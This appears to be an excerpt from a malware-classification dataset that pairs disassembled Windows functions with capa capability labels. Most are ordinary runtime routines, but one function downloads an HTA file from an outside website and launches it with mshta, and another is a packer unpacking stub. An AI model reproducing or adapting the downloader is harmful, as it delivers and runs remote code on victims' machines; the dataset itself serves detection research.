joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140106edc
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x140193440]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x140146bc8]
mov rbp, rcx
call fcn.140124470
xor edi, edi
test rax, rax
je 0x140106fc2
mov ebx, edi
call fcn.14010cbf8
mov r14d, dword [rax]
call fcn.14010cbf8
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], edi
call fcn.140124334
mov rsi, rax
test rax, rax
je 0x140106f53
call fcn.14010cbf8
mov dword [rax], r14d
jmp 0x140106f7d
call fcn.14010cbf8
cmp dword [rax], 0x22
jne 0x140106fba
call fcn.14010cbf8
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.140124334
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x140106fba
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x140106f81
cmp rax, 3
je 0x140106f9c
mov rcx, rsi
call fcn.140106e24
test al, al
je 0x140106fad
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x140106fad
mov dil, 1
mov rcx, rbx
call fcn.1400e9080
mov al, dil
jmp 0x140106fc4
mov rcx, rbx
call fcn.1400e9080
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400b1f80
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140107ffc
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov r14, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.1400f2aec
mov rax, qword [rbp - 0x58]
mov edi, 0xfde9
cmp dword [rax + 0xc], edi
jne 0x140108047
xor ebx, ebx
cmp byte [rbp - 0x48], bl
je 0x14010807b
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14010807b
call fcn.14011b378
xor ebx, ebx
test eax, eax
jne 0x140108069
cmp byte [rbp - 0x48], bl
je 0x140108062
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
mov edi, 1
jmp 0x14010807b
cmp byte [rbp - 0x48], bl
je 0x140108079
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
mov edi, ebx
mov r9d, edi
mov qword [rbp - 0x30], rbx
lea r8, [rbp + 0x30]
mov qword [rbp - 0x28], rbx
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x20], rbx
mov rcx, rsi
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rbx
mov byte [rbp - 8], bl
call fcn.140104c7c
mov esi, eax
test eax, eax
je 0x1401080b7
call fcn.14010cbf8
or edi, 0xffffffff
mov dword [rax], esi
jmp 0x140108110
mov r9d, edi
mov qword [rbp - 0x60], rbx
lea r8, [rbp + 0x30]
mov qword [rbp - 0x58], rbx
lea rdx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov rcx, r14
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
mov byte [rbp - 0x38], bl
call fcn.140104c7c
mov edi, eax
test eax, eax
je 0x1401080f3
call fcn.14010cbf8
mov dword [rax], edi
or edi, 0xffffffff
jmp 0x140108102
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x20]
call fcn.140124c2c
mov edi, eax
cmp byte [rbp - 0x38], bl
je 0x140108110
mov rcx, qword [rbp - 0x50]
call fcn.14011a644
cmp byte [rbp - 8], bl
je 0x14010811e
mov rcx, qword [rbp - 0x20]
call fcn.14011a644
lea r11, [rsp + 0x80]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x14010ac78
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14010ac70
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14010cb6c
or eax, 0xffffffff
jmp 0x14010ac72
xor eax, eax
add rsp, 0x28
ret
jmp 0x14010ac50
Function at 0x14010c428
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rbx, rcx
test rcx, rcx
jne 0x14010c447
call fcn.1401049a4
jmp 0x14010c4fc
and qword [rbp - 0x30], 0
lea rcx, [rbp - 0x50]
and qword [rbp - 0x28], 0
xor edx, edx
and qword [rbp - 0x20], 0
and qword [rbp - 0x18], 0
and qword [rbp - 0x10], 0
mov byte [rbp - 8], 0
call fcn.1400f2aec
mov rax, qword [rbp - 0x48]
mov r9d, 0xfde9
cmp dword [rax + 0xc], r9d
jne 0x14010c492
cmp byte [rbp - 0x38], 0
je 0x14010c4c7
mov rax, qword [rbp - 0x50]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14010c4c7
call fcn.14011b378
test eax, eax
jne 0x14010c4b3
cmp byte [rbp - 0x38], al
je 0x14010c4ab
mov rax, qword [rbp - 0x50]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14010c4c7
cmp byte [rbp - 0x38], 0
je 0x14010c4c4
mov rax, qword [rbp - 0x50]
and dword [rax + 0x3a8], 0xfffffffd
xor r9d, r9d
lea r8, [rbp + 0x10]
mov rcx, rbx
lea rdx, [rbp - 0x30]
call fcn.140104c7c
test eax, eax
je 0x14010c4e0
or ebx, 0xffffffff
jmp 0x14010c4eb
mov rcx, qword [rbp - 0x20]
call fcn.1401049a4
mov ebx, eax
cmp byte [rbp - 8], 0
je 0x14010c4fa
mov rcx, qword [rbp - 0x20]
call fcn.14011a644
mov eax, ebx
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rbp
ret
Function at 0x14010ed84
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14019e890]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14010eddb
cmp word [rdx], r13w
jne 0x14010eddb
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14010ede0
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14010ef05
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14010ef26
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14010ee19
mov rdx, r9
mov word [rbx], cx
jmp 0x14010ee40
cmp r9, r8
jae 0x14010ee50
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14010edfa
jmp 0x14010ef05
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14010eefa
cmp dword [rsp + 0x80], esi
je 0x14010eefa
lea r8, [0x14019e890]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14010eed2
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14010eea2
mov word [rbx], r13w
jmp 0x14010ef02
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14010eeaf
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14010ef02
cmp word [rsp + 0x70], r13w
jne 0x14010eedf
cmp rbx, r14
je 0x14010ee9c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14010ff34
cmp word [rsp + 0x70], r13w
je 0x14010ef05
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14019e890]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14010eeff
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14010ef05
Function at 0x140110e88
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140110c7f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140110c7f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140110c7f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140110c7f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140110c7f
cmp dword [rcx + 0x84], 0xe
jbe 0x140110c7f
cmp dword [rcx + 0xf8], 0
je 0x140110c7f
mov ecx, ebx
call fcn.140110d90
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1401109e0
nop
cmp dword [rbp + 0x20], 0
je 0x140110ccd
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140110cd8
int3
xor r8d, r8d
xor edx, edx
jmp 0x140110c10
Function at 0x140123064
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400f2aec
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1401230ee
cmp byte [rbp - 0x21], r15b
je 0x1401230e9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140123124
call fcn.14011b378
test eax, eax
jne 0x140123110
cmp byte [rbp - 0x21], r15b
je 0x140123108
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140123124
cmp byte [rbp - 0x21], r15b
je 0x140123121
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140104c7c
test eax, eax
jne 0x1401231c4
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400f2aec
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140123163
cmp byte [rbp - 0x21], r15b
je 0x140123198
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140123198
call fcn.14011b378
test eax, eax
jne 0x140123184
cmp byte [rbp - 0x21], r15b
je 0x14012317d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140123198
cmp byte [rbp - 0x21], r15b
je 0x140123195
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140104c7c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1401231c4
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1401231c7
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1401231d5
mov rcx, rdi
call fcn.14011a644
cmp byte [rbp + 0x3f], r15b
je 0x1401231e4
mov rcx, qword [rbp + 0x27]
call fcn.14011a644
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140125638
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14012564e
mov al, 1
jmp 0x1401256ae
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14012565f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1401256ac
mov ecx, dword [rcx + 0x18]
nop
call fcn.14010ea90
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1401256ac
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1401256ac
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1401256ac
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1401256ae
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140126948
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14010ff34
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14010ff34
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140126a98
cmp rax, 0xffffffffffffffff
je 0x140126a98
xor edi, edi
test rbp, rbp
jle 0x140126a43
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140119888
mov rbx, rax
test rax, rax
jne 0x1401269d0
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140126a39
mov edx, 0x8000
mov ecx, r14d
call fcn.140115888
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400ff830
cmp eax, 0xffffffff
je 0x140126a19
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1401269e0
mov edx, r15d
mov ecx, r14d
call fcn.140115888
jmp 0x140126a39
cmp byte [rsi + 0x38], dil
je 0x140126a30
cmp dword [rsi + 0x34], 5
jne 0x140126a30
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140126a39
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14011a644
jmp 0x140126aac
jns 0x140126aac
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14010ff34
cmp rax, 0xffffffffffffffff
jne 0x140126a64
cmp byte [rsi + 0x30], dil
je 0x140126aac
mov edi, dword [rsi + 0x2c]
jmp 0x140126aac
mov ecx, r14d
call fcn.14010ea90
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140126aac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140126aac
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140126aa5
mov eax, dword [rsi + 0x2c]
jmp 0x140126aaa
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14010ff34
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140129ef8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140129f28
xor eax, eax
jmp 0x140129feb
mov rbp, rbx
cmp word [rax], si
je 0x140129f4d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140129f34
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140129f30
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140122340
movsxd r14, eax
test eax, eax
jne 0x140129f8b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140129f21
mov rcx, r14
call fcn.14011c984
mov rdi, rax
test rax, rax
jne 0x140129fa4
xor ecx, ecx
call fcn.14011a644
jmp 0x140129f80
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140122340
test eax, eax
jne 0x140129fd5
mov rcx, rdi
call fcn.14011a644
jmp 0x140129fdf
xor ecx, ecx
call fcn.14011a644
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14012a008
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14012a08f
mov rsi, rbx
cmp word [rax], bp
je 0x14012a04e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14012a038
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14012a034
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14011c984
mov rdi, rax
test rax, rax
je 0x14012a07c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1401362c0
mov rbp, rdi
xor ecx, ecx
call fcn.14011a644
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14012d430
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14011a2cc
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14012d4d1
cmp ebx, dword [rsp + 0x30]
je 0x14012d4ca
test esi, esi
je 0x14012d4ca
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14012d4a5
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14012d4b2
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14012d48f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14012d4b6
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14012d4d3
mov eax, 1
jmp 0x14012d4d3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140132284
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140193440]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1401322ce
call fcn.14010cbd8
mov dword [rax], 0xf
call fcn.14010cbf8
mov dword [rax], 0xd
call fcn.140118c48
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400b1f80
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1401322d9
lea eax, [rbx + 1]
jmp 0x1401322bb
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1401322b9
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1401322bb

Function at 0x140135670
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140135698
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140135698
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14180c560
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14180c56d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14180c57d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14180c565
lea eax, [rcx + 1]
jmp 0x14180c58b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14180c59e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14180c584
sub eax, 3
jb 0x14180c5be
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14180c60d
sar eax, 1
movsxd rbp, eax
jb 0x14180c5f4
jmp 0x14180c5cc
add ebx, ebx
jne 0x14180c5ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14180c5f4
inc ecx
add ebx, ebx
jne 0x14180c5da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14180c5f4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14180c5ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14180c5dc
add ecx, 2
jmp 0x14180c5f9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14180c522
jmp 0x14180c56d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0x17fe000]
mov eax, dword [rdi]
or eax, eax
je 0x14180c679
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x18252ac]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14180c61d
jns 0x14180c652
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14180c65c
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14180c673
mov qword [rbx], rax
add rbx, 8
jmp 0x14180c63d
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14180c6bd
cmp al, 0xef
ja 0x14180c6a5
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14180c685
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x14180c694
mov eax, dword [rdi]
add rdi, 4
jmp 0x14180c694
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x277]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14180c711
sub rsp, 0xffffffffffffff80
jmp 0x140bd1208
Function at 0x31a0a13a0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
xor ecx, ecx
lea r8, str.c:userspublicexample.hta
lea rdx, str.https:__www.siguefutbol.com_wp_content_plugins_wp_automatic_d.txt
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x28], 0
xor ecx, ecx
lea r9, str.mshta
mov qword [rsp + 0x20], 0
lea r8, str.c:userspublicexample.hta
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x38
ret

Function at 0x31a0a15b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.31a0a22b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.31a0a22b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x31a0a1620
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x31a0a7064]
mov r12, rcx
test ebx, ebx
jle 0x31a0a1750
mov rax, qword [0x31a0a7068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x31a0a166c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x31a0a16f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x31a0a1650
mov rcx, r12
call fcn.31a0a1da0
mov rsi, rax
test rax, rax
je 0x31a0a1772
mov rax, qword [0x31a0a7068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.31a0a1ed0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x31a0a7068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x31a0a1757
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x31a0a16ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x31a0a1700
add dword [0x31a0a7064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
